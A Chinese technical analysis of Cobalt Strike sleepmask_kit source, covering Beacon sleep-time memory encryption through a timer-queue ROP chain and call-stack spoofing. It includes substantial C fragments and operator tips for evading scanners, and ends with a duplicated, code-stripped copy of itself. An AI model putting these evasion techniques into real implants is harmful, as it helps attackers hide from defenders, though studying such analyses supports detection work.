对CS sleepmask_kit中evasive_sleep与堆栈欺骗的源码分析
字数 1104 2025-08-24 16:48:16

CS sleepmask_kit中evasive_sleep与堆栈欺骗技术深度分析

1. 概述

本文详细分析Cobalt Strike sleepmask_kit中的evasive_sleep功能及其堆栈欺骗技术实现。这些技术主要用于在Beacon休眠期间对内存数据进行混淆遮掩,以规避内存扫描检测。

2. EVASIVE_SLEEP功能

2.1 基本配置

EVASIVE_SLEEP默认关闭,需手动启用:

#if _WIN64
#define EVASIVE_SLEEP 0  // 默认关闭
// #define EVASIVE_SLEEP 1  // 手动改为1启用
#endif

启用后需包含相应源文件:

#if EVASIVE_SLEEP
#include "evasive_sleep.c"
// #include "evasive_sleep_stack_spoof.c"  // 堆栈欺骗版本
#endif

2.2 核心实现原理

EVASIVE_SLEEP在sleep_mask函数中被调用,位于内存加密操作之间:

void sleep_mask(SLEEPMASKP* parms, void(__stdcall* pSleep)(DWORD), DWORD time) {
    mask_sections(parms);  // 加密节区
    mask_heap(parms);      // 加密堆
    
    #if EVASIVE_SLEEP
    evasive_sleep(parms->mask, time, &info);  // 二次加密
    #endif
    
    mask_heap(parms);      // 解密堆
    mask_sections(parms);  // 解密节区
}

2.3 evasive_sleep实现细节

evasive_sleep使用ROP技术,通过CONTEXT结构保存寄存器状态并构造ROP链:

typedef struct DECLSPEC_ALIGN(8) DECLSPEC_NOINITALL _CONTEXT {
    DWORD ContextFlags;  // 控制标志
    DWORD R0; DWORD R1; DWORD R2; DWORD R3;  // 整数寄存器
    DWORD R4; DWORD R5; DWORD R6; DWORD R7;
    DWORD R8; DWORD R9; DWORD R10; DWORD R11;
    DWORD R12;
    DWORD Sp; DWORD Lr; DWORD Pc; DWORD Cpsr;  // 控制寄存器
    // ...
} CONTEXT;

核心函数流程:

  1. 创建事件和计时器队列
  2. 捕获当前线程上下文
  3. 构造ROP链(修改内存保护、RC4加密、恢复保护)
  4. 通过NtContinue执行ROP链

2.4 ROP链构造

ROP链构造遵循x64调用约定:

// VirtualProtect(ImageBase, ImageTextSize, PAGE_READWRITE, &OldProtect);
RopProtRW.Rsp -= 8;
RopProtRW.Rip = (DWORD_PTR)VirtualProtect;
RopProtRW.Rcx = (DWORD_PTR)ImageBase;
RopProtRW.Rdx = ImageTextSize;
RopProtRW.R8 = PAGE_READWRITE;
RopProtRW.R9 = (DWORD_PTR)&OldProtect;

// SystemFunction032(&Key, &Img); (RC4加密)
RopMemMsk.Rsp -= 8;
RopMemMsk.Rip = (DWORD_PTR)SystemFunction032;
RopMemMsk.Rcx = (DWORD_PTR)&Img;
RopMemMsk.Rdx = (DWORD_PTR)&Key;

// VirtualProtect(ImageBase, ImageTextSize, PAGE_EXECUTE_READ, &OldProtect);
RopProtRX.Rsp -= 8;
RopProtRX.Rip = (DWORD_PTR)VirtualProtect;
RopProtRX.Rcx = (DWORD_PTR)ImageBase;
RopProtRX.Rdx = ImageTextSize;
RopProtRX.R8 = PAGE_EXECUTE_READ;
RopProtRX.R9 = (DWORD_PTR)&OldProtect;

// SetEvent(hEvent);
RopSetEvt.Rsp -= 8;
RopSetEvt.Rip = (DWORD_PTR)SetEvent;
RopSetEvt.Rcx = (DWORD_PTR)hEvent;

2.5 定时执行

通过CreateTimerQueueTimer安排ROP链执行时间:

CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, 
                     &RopProtRW, 200, 0, WT_EXECUTEINTIMERTHREAD);
CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, 
                     &RopMemMsk, 400, 0, WT_EXECUTEINTIMERTHREAD);
// ...其他ROP操作

3. 堆栈欺骗技术

3.1 启用方式

注释掉evasive_sleep.c,启用evasive_sleep_stack_spoof.c:

#if EVASIVE_SLEEP
// #include "evasive_sleep.c"
#include "evasive_sleep_stack_spoof.c"
#endif

3.2 核心改进

在原有ROP链基础上增加了堆栈欺骗功能:

  1. 调用spoof_stack伪造调用栈
  2. 执行原有ROP操作
  3. 调用restore_stack恢复原始栈帧

定时器设置:

CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)spoof_stack, 
                     &threadId, 100, 0, WT_EXECUTEINTIMERTHREAD);
CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, 
                     &RopProtRW, 200, 0, WT_EXECUTEINTIMERTHREAD);
// ...其他ROP操作
CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)restore_stack, 
                     &threadId, 600 + time, 0, WT_EXECUTEINTIMERTHREAD);

3.3 栈帧伪造实现

3.3.1 栈帧结构定义

typedef struct _STACK_FRAME {
    WCHAR targetDll[MAX_PATH];  // 目标DLL路径
    DWORD functionHash;        // 函数哈希
    ULONG offset;              // 函数偏移量
    ULONG totalStackSize;      // 总栈大小
    BOOL requiresLoadLibrary;  // 是否需要加载DLL
    BOOL setsFramePointer;     // 是否设置帧指针
    PVOID returnAddress;       // 返回地址
    BOOL pushRbp;             // 是否推送RBP
    ULONG countOfCodes;       // 代码数量
    BOOL pushRbpIndex;        // 推送RBP索引
} STACK_FRAME, *PSTACK_FRAME;

3.3.2 伪造调用栈设置

通过set_callstack设置伪造的调用栈:

void set_callstack(IN PSTACK_FRAME callstack, OUT PDWORD number_of_frames) {
    DWORD i = 0;
    set_frame_info(&callstack[i++], L"ntdll.dll", 0, 0x550b2, 0, FALSE);
    set_frame_info(&callstack[i++], L"kernel32.dll", 0, 0x174b4, 0, FALSE);
    set_frame_info(&callstack[i++], L"ntdll", 0, 0x526a1, 0, FALSE);
    *number_of_frames = i;
}

3.3.3 栈帧初始化

BOOL initialize_spoofed_callstack(PSTACK_FRAME callstack, DWORD number_of_frames) {
    for (DWORD i = 0; i < number_of_frames; i++) {
        // 计算返回地址
        if (!calculate_return_address(&callstack[i])) return FALSE;
        // 计算函数栈大小
        if (!calculate_function_stack_size(&callstack[i])) return FALSE;
    }
    return TRUE;
}

3.4 伪造线程状态

关键函数initialize_fake_thread_state实现伪造线程堆栈:

void initialize_fake_thread_state(PSTACK_FRAME callstack, DWORD number_of_frames, PCONTEXT context) {
    ULONG64 childSp = 0;
    BOOL bPreviousFrameSetUWOP_SET_FPREG = FALSE;
    
    push_to_stack(context, 0);  // 哨兵值
    
    // 从后向前遍历调用栈
    for (DWORD i = 0; i < number_of_frames; i++) {
        PSTACK_FRAME stackFrame = &callstack[number_of_frames - i - 1];
        
        if (bPreviousFrameSetUWOP_SET_FPREG && stackFrame->pushRbp) {
            // 处理设置了帧指针的情况
            DWORD diff = stackFrame->countOfCodes - stackFrame->pushRbpIndex;
            DWORD tmpStackSizeCounter = 0;
            
            for (ULONG j = 0; j < diff; j++) {
                push_to_stack(context, 0x0);
                tmpStackSizeCounter += 0x8;
            }
            
            push_to_stack(context, childSp);
            context->Rsp -= (stackFrame->totalStackSize - (tmpStackSizeCounter + 0x8));
            *(PULONG64)(context->Rsp) = (ULONG64)stackFrame->returnAddress;
            bPreviousFrameSetUWOP_SET_FPREG = FALSE;
        } else {
            // 普通帧处理
            context->Rsp -= stackFrame->totalStackSize;
            *(PULONG64)(context->Rsp) = (ULONG64)stackFrame->returnAddress;
        }
        
        if (stackFrame->setsFramePointer) {
            childSp = context->Rsp;
            childSp += 0x8;
            bPreviousFrameSetUWOP_SET_FPREG = TRUE;
        }
    }
}

3.5 堆栈恢复

void restore_stack(DWORD* threadId) {
    HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, 0, *threadId);
    SetThreadContext(hThread, &context);  // 恢复原始上下文
}

4. 实际应用建议

  1. 时间控制:可根据sleep时间决定是否启用mask,例如仅当sleep时间大于2秒时启用
  2. 自定义加密:可替换SystemFunction032为自定义加密函数
  3. 调用栈选择:应选择代表性Windows系统上的常见调用栈进行伪装
  4. 偏移量调整:不同Windows版本可能需要调整函数偏移量

5. 总结

CS sleepmask_kit通过以下技术增强隐蔽性:

  1. 使用RC4对休眠内存进行二次加密
  2. 通过ROP技术规避API调用检测
  3. 伪造调用栈干扰内存扫描和分析
  4. 完整的内存保护-加密-解密-恢复流程

这些技术组合使用可有效对抗内存扫描和调用栈分析,但需要注意不同系统版本的兼容性问题。

CS sleepmask_ kit中evasive_ sleep与堆栈欺骗技术深度分析 1. 概述 本文详细分析Cobalt Strike sleepmask_ kit中的evasive_ sleep功能及其堆栈欺骗技术实现。这些技术主要用于在Beacon休眠期间对内存数据进行混淆遮掩,以规避内存扫描检测。 2. EVASIVE_ SLEEP功能 2.1 基本配置 EVASIVE_ SLEEP默认关闭,需手动启用: 启用后需包含相应源文件: 2.2 核心实现原理 EVASIVE_ SLEEP在sleep_ mask函数中被调用,位于内存加密操作之间: 2.3 evasive_ sleep实现细节 evasive_ sleep使用ROP技术,通过CONTEXT结构保存寄存器状态并构造ROP链: 核心函数流程: 创建事件和计时器队列 捕获当前线程上下文 构造ROP链(修改内存保护、RC4加密、恢复保护) 通过NtContinue执行ROP链 2.4 ROP链构造 ROP链构造遵循x64调用约定: 2.5 定时执行 通过CreateTimerQueueTimer安排ROP链执行时间: 3. 堆栈欺骗技术 3.1 启用方式 注释掉evasive_ sleep.c,启用evasive_ sleep_ stack_ spoof.c: 3.2 核心改进 在原有ROP链基础上增加了堆栈欺骗功能: 调用spoof_ stack伪造调用栈 执行原有ROP操作 调用restore_ stack恢复原始栈帧 定时器设置: 3.3 栈帧伪造实现 3.3.1 栈帧结构定义 3.3.2 伪造调用栈设置 通过set_ callstack设置伪造的调用栈: 3.3.3 栈帧初始化 3.4 伪造线程状态 关键函数initialize_ fake_ thread_ state实现伪造线程堆栈: 3.5 堆栈恢复 4. 实际应用建议 时间控制 :可根据sleep时间决定是否启用mask,例如仅当sleep时间大于2秒时启用 自定义加密 :可替换SystemFunction032为自定义加密函数 调用栈选择 :应选择代表性Windows系统上的常见调用栈进行伪装 偏移量调整 :不同Windows版本可能需要调整函数偏移量 5. 总结 CS sleepmask_ kit通过以下技术增强隐蔽性: 使用RC4对休眠内存进行二次加密 通过ROP技术规避API调用检测 伪造调用栈干扰内存扫描和分析 完整的内存保护-加密-解密-恢复流程 这些技术组合使用可有效对抗内存扫描和调用栈分析,但需要注意不同系统版本的兼容性问题。